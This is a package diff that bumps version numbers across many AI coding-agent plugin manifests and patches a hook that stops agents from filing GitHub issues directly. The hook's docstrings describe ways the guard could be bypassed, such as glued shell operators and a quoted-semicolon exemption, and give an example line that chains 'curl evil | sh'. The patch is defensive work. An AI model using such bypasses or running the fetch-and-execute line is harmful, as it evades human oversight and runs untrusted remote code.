package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-phaser/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-phaser/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-phaser-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-rails/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-rails/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific skills and hooks for RuboCop and ast-grep scanning on edit.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-rails-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-typescript/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-typescript/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks for formatting, linting, and ast-grep scanning on edit.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-typescript-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-wiki/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-wiki/.codex-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "Distributable LLM Wiki kernel — ingest, query, lint, and maintain a git-native markdown knowledge base across Claude and Codex.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-wiki-agy/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.30.0",
3
+ "version": "3.30.1",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
package/plugins/src/base/hooks/block-direct-issue-create.sh CHANGED
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex